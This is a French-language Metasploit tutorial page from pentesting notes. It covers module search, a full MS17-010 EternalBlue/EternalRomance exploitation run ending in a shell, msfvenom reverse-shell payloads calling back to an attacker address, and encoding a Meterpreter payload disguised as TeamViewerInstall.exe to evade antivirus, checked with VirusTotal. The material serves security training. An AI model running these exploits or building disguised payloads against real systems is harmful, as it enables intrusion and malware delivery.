> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-tools/exploitation/metasploit.md).

# Metasploit

## Metasploit :

{% hint style="info" %}
Metasploit est une plateforme open source de tests d'intrusion largement utilisée par les professionnels de la sécurité informatique pour évaluer la vulnérabilité des systèmes informatiques. Elle fournit un ensemble d'outils et de ressources pour découvrir, exploiter et sécuriser les failles de sécurité dans les réseaux, les systèmes d'exploitation, les applications et d'autres composants informatiques. En résumé, Metasploit est un framework complet pour réaliser des tests d'intrusion et des audits de sécurité.
{% endhint %}

Par défaut, tous les fichiers principaux liés à Metasploit Framework se trouvent `/usr/share/metasploit-framework`

## Flux de travail Metasploit

1. Identifiez le service exposé, la version, la plateforme et la vulnérabilité probable avant de sélectionner un module.
2. Recherchez des modules par service, CVE, plateforme, type, rang et nom, puis examinez les informations et les références du module.
3. Configurez les options de la cible, les options du payload, les adresses du listener et la sélection de la cible avec la configuration la plus réduite et la plus fiable.
4. Exécutez les vérifications lorsqu'elles sont disponibles, n'exécutez que les modules confirmés et conservez la sortie du module pour le rapport.
5. Gérez les sessions, les espaces de travail, le loot, les identifiants, les services et les hôtes via la base de données Metasploit lorsque l'évaluation prend de l'ampleur.

### **Modules :**

Les modules détaillés ci-dessus sont divisés en catégories distinctes dans ce fichier. Nous les détaillerons dans les sections suivantes. Ils se trouvent dans les dossiers suivants :<br>

<figure><img src="/files/0b4e4d40893e987be29dacf6c983504f69111bcd" alt=""><figcaption></figcaption></figure>

### **Plugins :**

Les plugins donnent au pentesteur plus de flexibilité lors de leur utilisation `msfconsole`puisqu'ils peuvent être facilement chargés manuellement ou automatiquement selon les besoins afin de fournir des fonctionnalités supplémentaires et de l'automatisation pendant notre évaluation.

<div data-full-width="true"><figure><img src="/files/62ca18418957479579005026ab95bc553812b55c" alt=""><figcaption></figcaption></figure></div>

### Scénarios :

Fonctionnalités de Meterpreter et autres scripts utiles.

<figure><img src="/files/e1f48fd32fcdda95dfc5f06d9e4c46ab5d74fd8d" alt="" width="471"><figcaption></figcaption></figure>

### **Outils :**

Utilitaires en ligne de commande qui peuvent être appelés directement depuis le `msfconsole`menu

<div data-full-width="true"><figure><img src="/files/c725ec669b2e929bc62eca494d1cde820ef6e0e8" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="/files/3d6b6982732ccef83d4fbad2cb1337488fd64a46" alt=""><figcaption></figcaption></figure>

### Structure d'engagement MSF

La structure d'engagement MSF peut être divisée en cinq catégories principales.

* Énumération
* Préparation
* Exploitation
* Escalade de privilèges
* Post-exploitation

{% hint style="info" %}
Cette division nous permet de trouver et de sélectionner plus facilement les fonctionnalités MSF appropriées de manière plus structurée et de travailler avec elles en conséquence. Chacune de ces catégories possède différentes sous-catégories destinées à des objectifs spécifiques. Celles-ci incluent, par exemple, la validation de services et la recherche de vulnérabilités.
{% endhint %}

<figure><img src="/files/e9a6e10467df0b621c8da76f3c68974847c5ebe0" alt=""><figcaption></figcaption></figure>

## **Composants**

### Recherche de modules :

#### Une fois dans le `msfconsole`, nous pouvons sélectionner dans une longue liste contenant tous les modules Metasploit disponibles. Chacun d'eux est structuré en dossiers, qui ressembleront à ceci :

**Syntaxe :**

```bash
<N°> <type>/<os>/<service>/<nom>
```

**Exemple**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **N° :**

Le `N°`la balise sera affichée pour sélectionner l'exploit que nous voulons plus tard pendant nos recherches. Nous verrons `N°`plus tard à quel point cette balise peut être utile pour sélectionner des modules Metasploit spécifiques.

2. **Type :**

| Type :       | **Description**                                                                                                                      |
| ------------ | ------------------------------------------------------------------------------------------------------------------------------------ |
| `Auxiliaire` | Fonctions de scan, de fuzzing, de détection et d'administration. Fournit une prise en charge et des fonctionnalités supplémentaires. |
| `Encodeurs`  | Veillent à ce que les payloads restent intacts jusqu'à ce qu'ils atteignent leur destination.                                        |
| `Exploits`   | Modules qui exploitent une vulnérabilité pour délivrer le payload.                                                                   |
| `NOP`        | (code sans opération) Conserver des tailles de payload cohérentes entre les tentatives d'exploitation.                               |
| `Payloads`   | Le code s'exécute à distance et renvoie un appel à la machine de l'attaquant pour établir une connexion ou un shell.                 |
| `Plugins`    | Des scripts supplémentaires peuvent être intégrés dans une `msfconsole` évaluation et coexister.                                     |
| `Post`       | Large éventail de modules pour la collecte d'informations, le pivotement plus profond et les tâches post-exploitation associées.     |

3. **SE :**

Le `SE`la balise spécifie le système d'exploitation et l'architecture pour lesquels le module a été créé. Naturellement, différents systèmes d'exploitation nécessitent différents codes à exécuter pour obtenir les résultats souhaités 4. **Service :**

Le `Service` la balise fait référence au service vulnérable s'exécutant sur la machine cible. Pour certains modules, tels que `auxiliaire` ou `post`, cette balise peut faire référence à une activité plus générale comme `collecte`, en référence par exemple à la collecte d'identifiants. 5. **Nom :**

Enfin, la `Nom`balise explique l'action réelle qui peut être effectuée à l'aide de ce module créé dans un but spécifique.

**MSF - Fonction de recherche**

Par exemple, nous pouvons essayer de trouver l' `EternalRomance`exploit pour les anciens systèmes d'exploitation Windows. Cela pourrait ressembler à ceci :

`search eternalromance`

<div data-full-width="true"><figure><img src="/files/e43862997a354d2d01c7c72fed303e1649ec4d3e" alt=""><figcaption></figcaption></figure></div>

### **Recherche spécifique :**

Nous pouvons également rendre notre recherche un peu plus grossière et la limiter à une seule catégorie de services. Par exemple, pour CVE, nous pourrions spécifier l'année (`cve:<année>`), la plateforme Windows (`platforme:<os>`), le type de module que nous voulons trouver (`type:<auxiliary/exploit/post>`), le rang de fiabilité (`rang:<rang>`), et le nom de recherche (`<motif>`). Cela réduirait nos résultats à ceux qui correspondent à tout ce qui précède.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="/files/6c4b4af551827b2589b54af127d38206131e2307" alt=""><figcaption></figcaption></figure></div>

### Utilisation des modules :

Pour sélectionner notre premier module, nous devons d'abord en trouver un. Supposons que nous ayons une cible exécutant une version de SMB vulnérable aux exploits EternalRomance (MS17/\_010). Nous avons constaté que le port 445 du serveur SMB est ouvert lors du scan de la cible.

**Recherche de MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="/files/eb17244bc213b6a6e6a078740e560862795cea82" alt=""><figcaption></figcaption></figure></div>

**MSF - Sélectionner un module**

Pour utiliser un module dans Metasploit, insérez d'abord la `use` commande suivie du numéro du module souhaité, puis utilisez la `options` commande pour afficher les détails et les configurations disponibles pour ce module.

```bash
Modules correspondants
================

   #  Nom                                  Date de divulgation  Rang    Vérification  Description
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Oui    Exécution de code à distance Windows SMB MS17-010 EternalRomance/EternalSynergy/EternalChampion
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  Non     Exécution de commandes à distance Windows SMB MS17-010 EternalRomance/EternalSynergy/EternalChampion

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Options du module (exploit/windows/smb/ms17_010_psexec) :

   Nom                  Paramètre actuel                      Requis  Description
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    yes       Afficher des informations supplémentaires de trace de débogage
   LEAKATTEMPTS          99                                       yes       Nombre de tentatives pour essayer de divulguer la transaction
   NAMEDPIPE                                                      no        Un pipe nommé auquel on peut se connecter (laisser vide pour l'automatique)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Liste des pipes nommés à vérifier
                         rdlists/named_pipes.txt
   RHOSTS                                                         yes       Hôte(s) cible(s), voir https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      yes       Le port cible (TCP)
   SERVICE_DESCRIPTION                                            no        Description du service à utiliser sur la cible pour un affichage plus joli
   SERVICE_DISPLAY_NAME                                           no        Le nom d'affichage du service
   SERVICE_NAME                                                   no        Le nom du service
   SHARE                 ADMIN$                                   yes       Le partage auquel se connecter, peut être un partage administrateur (ADMIN$,C$,...) ou un
                                                                            partage de dossier normal en lecture/écriture
   SMBDomain             .                                        no        Le domaine Windows à utiliser pour l'authentification
   SMBPass                                                        no        Le mot de passe pour le nom d'utilisateur spécifié
   SMBUser                                                        no        Le nom d'utilisateur avec lequel s'authentifier

Options du payload (windows/meterpreter/reverse_tcp) :

   Nom      Paramètre actuel  Requis  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Technique de sortie (accepté : '', seh, thread, process, none)
   LHOST                      yes       L'adresse d'écoute (une interface peut être spécifiée)
   LPORT     4444             yes       Le port d'écoute

Cible de l'exploit :

   Id  Nom
   --  ----
   0   Automatique
```

**Informations sur le module**

Nous pouvons utiliser la `info`commande après avoir sélectionné le module si nous voulons en savoir plus sur celui-ci. Cela nous donnera une série d'informations qui peuvent nous être utiles.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Nom : Exécution de code à distance SMB Windows MS17-010 EternalRomance/EternalSynergy/EternalChampion
     Module : exploit/windows/smb/ms17_010_psexec
   Plateforme : Windows
       Arch : x86, x64
 Privilégié : Non
    Licence : Licence Metasploit Framework (BSD)
       Rang : Normal
  Divulgué : 2017-03-14

Fourni par :
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Cibles disponibles :
  Id  Nom
  --  ----
  0   Automatique
  1   PowerShell
  2   Téléversement natif
  3   Téléversement MOF

Vérification prise en charge :
  Oui

Options de base :
  Nom                  Paramètre actuel                      Requis  Description
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    yes       Afficher des informations supplémentaires de trace de débogage
  LEAKATTEMPTS          99                                       yes       Nombre de tentatives pour essayer de divulguer la transaction
  NAMEDPIPE                                                      no        Un pipe nommé auquel on peut se connecter (laisser vide pour l'automatique)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Liste des pipes nommés à vérifier
                        rdlists/named_pipes.txt
  RHOSTS                                                         yes       Hôte(s) cible(s), voir https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      yes       Le port cible (TCP)
  SERVICE_DESCRIPTION                                            no        Description du service à utiliser sur la cible pour un affichage plus joli
  SERVICE_DISPLAY_NAME                                           no        Le nom d'affichage du service
  SERVICE_NAME                                                   no        Le nom du service
  SHARE                 ADMIN$                                   yes       Le partage auquel se connecter, peut être un partage administrateur (ADMIN$,C$,...) ou un
                                                                           partage de dossier normal en lecture/écriture
  SMBDomain             .                                        no        Le domaine Windows à utiliser pour l'authentification
  SMBPass                                                        no        Le mot de passe pour le nom d'utilisateur spécifié
  SMBUser                                                        no        Le nom d'utilisateur avec lequel s'authentifier

Informations sur le payload :
  Espace : 3072

Description :
  Ce module exploitera SMB avec les vulnérabilités de MS17-010 pour
  obtenir une primitive write-what-where. Celle-ci sera ensuite utilisée pour
  écraser les informations de la session de connexion avec une session
  Administrateur. À partir de là, l'exécution normale du payload psexec
  est effectuée. Exploite une confusion de type entre les requêtes Transaction et
  WriteAndX et une condition de course dans les requêtes Transaction, comme
  observé dans les exploits EternalRomance, EternalChampion et EternalSynergy.
  Cette chaîne d'exploitation est plus fiable que l'exploit EternalBlue,
  mais nécessite un pipe nommé.

Références :
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

Aussi connu sous le nom :
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Spécification de la cible**

Une fois que nous sommes certains que le module sélectionné est le bon pour notre objectif, nous devons définir certaines spécifications pour personnaliser le module afin de l'utiliser avec succès sur notre hôte cible, comme le réglage de la cible ( `RHOST`ou `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

De plus, il y a l' `setg` option, qui spécifie les options sélectionnées par nous comme permanentes jusqu'au redémarrage du programme.

<figure><img src="/files/7512fb5d82705ab18a678cc64f82c0688688f112" alt=""><figcaption></figcaption></figure>

**Exécution des exploits**

Une fois que tout est configuré et prêt, nous pouvons procéder au lancement de l'attaque. Commande : `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Gestionnaire TCP inversé lancé sur 10.10.14.15:4444
[*] 10.10.10.40:445 - Utilisation de auxiliary/scanner/smb/smb_ms17_010 comme vérification
[+] 10.10.10.40:445       - L'hôte est probablement VULNÉRABLE à MS17-010 ! - Windows 7 Professionnel 7601 Service Pack 1 x64 (64 bits)
[*] 10.10.10.40:445       - 1 hôte sur 1 scanné (100 % terminé)
[*] 10.10.10.40:445 - Connexion à la cible pour exploitation.
[+] 10.10.10.40:445 - Connexion établie pour exploitation.
[+] 10.10.10.40:445 - Le système d'exploitation cible sélectionné est valide pour l'OS indiqué par la réponse SMB
[*] 10.10.10.40:445 - Vidage du tampon brut CORE (42 octets)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - La cible d'architecture sélectionnée est valide pour l'architecture indiquée par la réponse DCE/RPC
[*] 10.10.10.40:445 - Tentative d'exploit avec 12 allocations Groom.
[*] 10.10.10.40:445 - Envoi de tous les fragments du paquet d'exploit sauf le dernier
[*] 10.10.10.40:445 - Démarrage du grooming du pool non paginé
[+] 10.10.10.40:445 - Envoi des tampons SMBv2
[+] 10.10.10.40:445 - Fermeture de la connexion SMBv1 créant un trou libre adjacent au tampon SMBv2.
[*] 10.10.10.40:445 - Envoi des tampons SMBv2 finaux.
[*] 10.10.10.40:445 - Envoi du dernier fragment du paquet d'exploit !
[*] 10.10.10.40:445 - Réception de la réponse du paquet d'exploit
[+] 10.10.10.40:445 - L'écrasement ETERNALBLUE s'est terminé avec succès (0xC000000D) !
[*] 10.10.10.40:445 - Envoi de l'œuf à la connexion corrompue.
[*] 10.10.10.40:445 - Déclenchement de la libération du tampon corrompu.
[*] Session de shell de commande 1 ouverte (10.10.14.15:4444 -> 10.10.10.40:49158) à 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Cibles

### **Afficher les cibles :**

Le `show targets`la commande émise dans la vue d'un module d'exploit affichera toutes les cibles vulnérables disponibles pour cet exploit spécifique. Si vous laissez la sélection sur `Automatique`msfconsole saura qu'il doit effectuer une découverte de service sur la cible donnée avant de lancer une attaque réussie.

<figure><img src="/files/f7d555e32a976c178780e503b2a5ad227f14292c" alt=""><figcaption></figcaption></figure>

Cependant, si nous connaissons les versions qui s'exécutent sur notre cible, nous pouvons utiliser la `set target <n° d'index>`commande pour choisir une cible dans la liste.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### Payloads :

{% hint style="info" %}
Dans `payload` Dans Metasploit, un module aide le module d'exploit à renvoyer (généralement) un `shell` aux attaquants. Les payloads sont envoyés avec l'exploit lui-même pour contourner les procédures standard du service vulnérable (le travail de l'exploit), puis s'exécutent sur le système d'exploitation cible pour renvoyer généralement une connexion inverse à l'attaquant et remplir le rôle du payload.
{% endhint %}

Il existe trois types différents de modules de payload dans le framework Metasploit : Singles, Stagers et Stages.

1. **Payloads simples** :

> Un payload simple contient tout le code nécessaire à l'exploitation et à l'exécution dans un seul payload autonome. Cela les rend plus stables, car il n'y a qu'un seul élément à exécuter. Cependant, ils peuvent être limités par leur taille, car certaines attaques ne prennent pas en charge des payloads trop volumineux. Ils sont idéaux pour les actions immédiates, comme ajouter un utilisateur ou lancer un processus sur la cible.

2. **Payloads Stagers :**

> Les payloads stager fonctionnent avec les payloads Stage en divisant la charge en plusieurs étapes. Un stager réside sur le système de l'attaquant et initie la connexion réseau avec la cible lorsque l'étape est exécutée sur la machine distante. Ils sont conçus pour être petits et fiables, ce qui facilite la création de connexions. Les stagers Windows sont également disponibles en versions "NX" (pour la compatibilité avec la protection DEP) et "NO-NX", NX étant plus volumineux mais adapté aux systèmes modernes.

3. **Payloads Stages**:

> Les payloads Stage sont des composants téléversés par les stagers pour des fonctionnalités avancées et sans limite de taille. Ils sont utilisés pour des charges complexes comme Meterpreter ou l'injection VNC. Pour minimiser les erreurs, les stages utilisent des stagers intermédiaires afin d'assurer la stabilité du téléversement. Ils sont particulièrement adaptés aux attaques en plusieurs étapes nécessitant un flux de données fiable et soutenu.

### Payloads échelonnés :

**payloads en plusieurs étapes**

En tant qu'utilisateur de Metasploit, nous les rencontrerons sous les noms courants `reverse_tcp`, `reverse_https`, et `bind_tcp`. Par exemple, sous la `show payloads`commande, vous pouvez rechercher des payloads qui ressemblent à ce qui suit :

<figure><img src="/files/2d40c198cbf1f0742befd374c0e304fc454d8521" alt=""><figcaption></figcaption></figure>

### **Payloads Meterpreter :**

`Meterpreter` est un payload avancé utilisant l'injection DLL pour établir une connexion stable et persistante, entièrement en mémoire, ce qui le rend difficile à détecter. Il vous permet de charger dynamiquement des scripts et des plugins. Une fois lancé, il ouvre une session offrant des commandes spécifiques pour contrôler le système cible : `capture des frappes clavier, récupération de mots de passe, écoute du microphone, et plus encore.`

### Recherche de payloads :

Pour sélectionner notre premier payload, nous devons savoir ce que nous voulons faire sur la machine cible. Par exemple, si nous visons la persistance d'accès, nous voudrons probablement sélectionner un payload Meterpreter.

En parcourant la liste ci-dessus, nous trouvons la section contenant `Payloads Meterpreter pour Windows (x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manuel  Non     Windows Meterpreter (injection réflexive x64), Stager TCP Bind IPv6 Windows x64
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manuel  Non     Windows Meterpreter (injection réflexive x64), Stager TCP Bind IPv6 Windows x64 avec prise en charge UUID
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manuel  Non     Windows Meterpreter (injection réflexive x64), Stager Pipe nommé Bind Windows x64
   518  windows/x64/meterpreter/bind_tcp                                     manuel  Non     Windows Meterpreter (injection réflexive x64), Stager TCP Bind Windows x64
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manuel  Non     Windows Meterpreter (injection réflexive x64), Stager TCP Bind (chiffrement de stage RC4, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manuel  Non     Windows Meterpreter (injection réflexive x64), Stager TCP Bind avec prise en charge UUID (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manuel  Non     Windows Meterpreter (injection réflexive x64), Stager HTTP inversé Windows x64 (wininet)
   522  windows/x64/meterpreter/reverse_https                                manuel  Non     Windows Meterpreter (injection réflexive x64), Stager HTTP inversé Windows x64 (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manuel  Non     Windows Meterpreter (injection réflexive x64), Stager Pipe nommé inversé (SMB) Windows x64
   524  windows/x64/meterpreter/reverse_tcp                                  manuel  Non     Windows Meterpreter (injection réflexive x64), Stager TCP inversé Windows x64
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manuel  Non     Windows Meterpreter (injection réflexive x64), Stager TCP inversé (chiffrement de stage RC4, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manuel  Non     Windows Meterpreter (injection réflexive x64), Stager TCP inversé avec prise en charge UUID (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manuel  Non     Windows Meterpreter (injection réflexive x64), Stager HTTP inversé Windows x64 (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manuel  Non     Windows Meterpreter (injection réflexive x64), Stager HTTPS inversé Windows x64 (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manuel  Non     Shell Meterpreter Windows, Pipe nommé Bind en ligne (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manuel  Non     Shell Meterpreter Windows, TCP Bind en ligne (x64)
   531  windows/x64/meterpreter_reverse_http                                 manuel  Non     Shell Meterpreter Windows, HTTP inversé en ligne (x64)
   532  windows/x64/meterpreter_reverse_https                                manuel  Non     Shell Meterpreter Windows, HTTPS inversé en ligne (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manuel  Non     Shell Meterpreter Windows, TCP inversé en ligne (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manuel  Non     Shell Meterpreter Windows, TCP inversé en ligne x64
</code></pre>

### **Recherche d'un payload spécifique :**

Nous pouvons également utiliser `grep`pour filtrer des termes spécifiques. Cela accélérerait la recherche et, par conséquent, notre sélection.

```bash
grep meterpreter show payloads
```

<figure><img src="/files/ad03d51304a0f9c3cb3eb3dd820ce4df0b4d7963" alt=""><figcaption></figcaption></figure>

Nous pouvons maintenant ajouter un autre `grep`commande après la première et rechercher `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="/files/5fc55012616502d914e2c5112e1bf9aa94e852ba" alt=""><figcaption></figcaption></figure>

### **Sélectionner un payload :**

Nous utilisons `set payload <n°>`uniquement après avoir d'abord sélectionné un module Exploit.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Utilisation des payloads :

Pour la partie Exploit, nous devrons définir les éléments suivants :

| **Paramètre** | **Description**                                   |
| ------------- | ------------------------------------------------- |
| `RHOSTS`      | L'adresse IP de l'hôte distant, la machine cible. |
| `RPORT`       | Le port de l'hôte distant.                        |

Pour la partie payload, nous devrons définir les éléments suivants :

| **Paramètre** | **Description**                                                                            |
| ------------- | ------------------------------------------------------------------------------------------ |
| `LHOST`       | L'adresse IP de l'hôte, la machine de l'attaquant.                                         |
| `LPORT`       | N'a généralement pas besoin d'être modifiée ; vérifiez que le port n'est pas déjà utilisé. |

### Types de payload :

| **Charge utile**                  | **Description**                                                                                   |
| --------------------------------- | ------------------------------------------------------------------------------------------------- |
| `générique/personnalisé`          | Listener générique polyvalent                                                                     |
| `generic/shell_bind_tcp`          | Listener générique polyvalent, shell normal, connexion TCP bind                                   |
| `generic/shell_reverse_tcp`       | Écouteur générique polyvalent, shell normal, connexion TCP inversée                               |
| `windows/x64/exec`                | Exécute une commande arbitraire (Windows x64)                                                     |
| `windows/x64/loadlibrary`         | Charge un chemin de bibliothèque x64 arbitraire                                                   |
| `windows/x64/messagebox`          | Génère une boîte de dialogue via MessageBox avec un titre, un texte et une icône personnalisables |
| `windows/x64/shell_reverse_tcp`   | Shell normal, charge utile unique, connexion TCP inversée                                         |
| `windows/x64/shell/reverse_tcp`   | Shell normal, stager plus stage, connexion TCP inversée                                           |
| `windows/x64/shell/bind_ipv6_tcp` | Shell normal, stager plus stage, stager de liaison TCP IPv6                                       |
| `windows/x64/meterpreter/$`       | Charge utile Meterpreter plus les variantes ci-dessus                                             |
| `windows/x64/powershell/$`        | Sessions PowerShell interactives plus les variantes ci-dessus                                     |
| `windows/x64/vncinject/$`         | Serveur VNC (injection réflexive) plus les variantes ci-dessus                                    |

## Encodeurs

{% hint style="info" %}
Au cours des 15 années d'existence du framework Metasploit, `Encodeurs`nous avons contribué à rendre les charges utiles compatibles avec différentes architectures de processeur tout en participant à l'évitement des antivirus. `Encodeurs`entre en jeu avec pour rôle de modifier la charge utile afin qu'elle s'exécute sur différents systèmes d'exploitation et architectures. Ces architectures incluent :
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Sélection d'un encodeur :

> Si nous voulions créer notre propre charge utile personnalisée, nous pourrions le faire via `msfpayload`, mais nous devrions l'encoder en fonction de l'architecture du système d'exploitation cible à l'aide de `msfencode`ensuite. Un enchaînement de commandes prendrait la sortie d'une commande et l'enverrait à la suivante, ce qui générerait une charge utile encodée, prête à être envoyée et exécutée sur la machine cible.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="/files/2600e74de6d8fb58dd1fe5efc12e5f4d9d4391ce" alt=""><figcaption></figcaption></figure>

### **Génération de la charge utile - Sans encodage :**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Nous devrions maintenant regarder la première ligne de `$buf`et voir comment elle change lorsqu'on applique un encodeur comme `shikata_ga_nai`.

<figure><img src="/files/f07c10e7c1677ee86774e2ec8eb86df80d3e7f24" alt=""><figcaption></figcaption></figure>

### **Génération de la charge utile - Avec encodage :**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="/files/5df9f963b1b0fb9f3bb3426cfb048e5cfcc4c7ae" alt=""><figcaption></figcaption></figure>

### **Encodage Shikata Ga Nai :**

> Prenons l'exemple ci-dessus tel quel, un exemple hypothétique. Si nous encodions une charge utile exécutable une seule fois avec SGN, elle serait très probablement détectée par la plupart des antivirus actuels. Regardons cela un instant. En prenant `msfvenom`, l'index du framework qui traite de la génération de charges utiles et des schémas d'encodage, nous avons l'entrée suivante :

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/5a7057a813e321198e664922159a041bb1f0b5d3" alt="" width="563"><figcaption></figcaption></figure>

Cela générera une charge utile au format `exe`TeamViewerInstall.exe, censé s'exécuter sur des processeurs d'architecture x86 pour la plateforme Windows, avec une charge utile de shell Meterpreter reverse\_tcp cachée, encodée une fois avec le schéma Shikata Ga Nai. Prenons le résultat et téléchargeons-le sur VirusTotal.

<figure><img src="/files/b6125b9c14550f4f5be0b4b9e68e507e1c798ec2" alt=""><figcaption></figcaption></figure>

Une meilleure option serait d'essayer de l'exécuter à travers plusieurs itérations du même schéma d'encodage :

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/b806378734d9d5097b3443907e6be0463d704ab1" alt="" width="563"><figcaption></figcaption></figure>

Comme nous pouvons le voir, ce n'est toujours pas suffisant pour échapper aux antivirus. De nombreux produits détectent encore la charge utile. En alternative, Metasploit propose un outil appelé `msf-virustotal`que nous pouvons utiliser avec une clé API pour analyser nos charges utiles. Cependant, cela nécessite une inscription gratuite sur VirusTotal.

### **VirusTotal :**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Utilisation de la clé API : <API key>
[*] Veuillez patienter pendant que je télécharge TeamViewerInstall.exe...
[*] VirusTotal : demande d'analyse mise en file d'attente avec succès, revenez plus tard pour le rapport
[*] Sample MD5 hash    : 4f54cc46e2f55be168cc6114b74a3130
[*] Sample SHA1 hash   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Sample SHA256 hash : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Demande du rapport...
[*] Code -2 reçu. En attente de 60 secondes supplémentaires...
[*] Code -2 reçu. En attente de 60 secondes supplémentaires...
[*] Code -2 reçu. En attente de 60 secondes supplémentaires...
[*] Code -2 reçu. En attente de 60 secondes supplémentaires...
[*] Code -2 reçu. En attente de 60 secondes supplémentaires...
[*] Code -2 reçu. En attente de 60 secondes supplémentaires...
[*] Rapport d'analyse : TeamViewerInstall.exe (51 / 68) : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Antivirus             Détecté  Version                                                         Résultat                                                     Mise à jour
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Malveillant                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       suspect                                                 20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
